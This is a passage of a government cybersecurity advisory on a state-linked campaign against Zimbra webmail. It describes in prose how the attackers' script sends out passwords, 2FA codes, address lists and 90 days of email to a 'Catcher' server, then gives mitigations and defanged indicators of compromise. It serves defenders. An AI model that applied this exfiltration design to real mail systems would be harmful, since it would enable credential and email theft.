</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
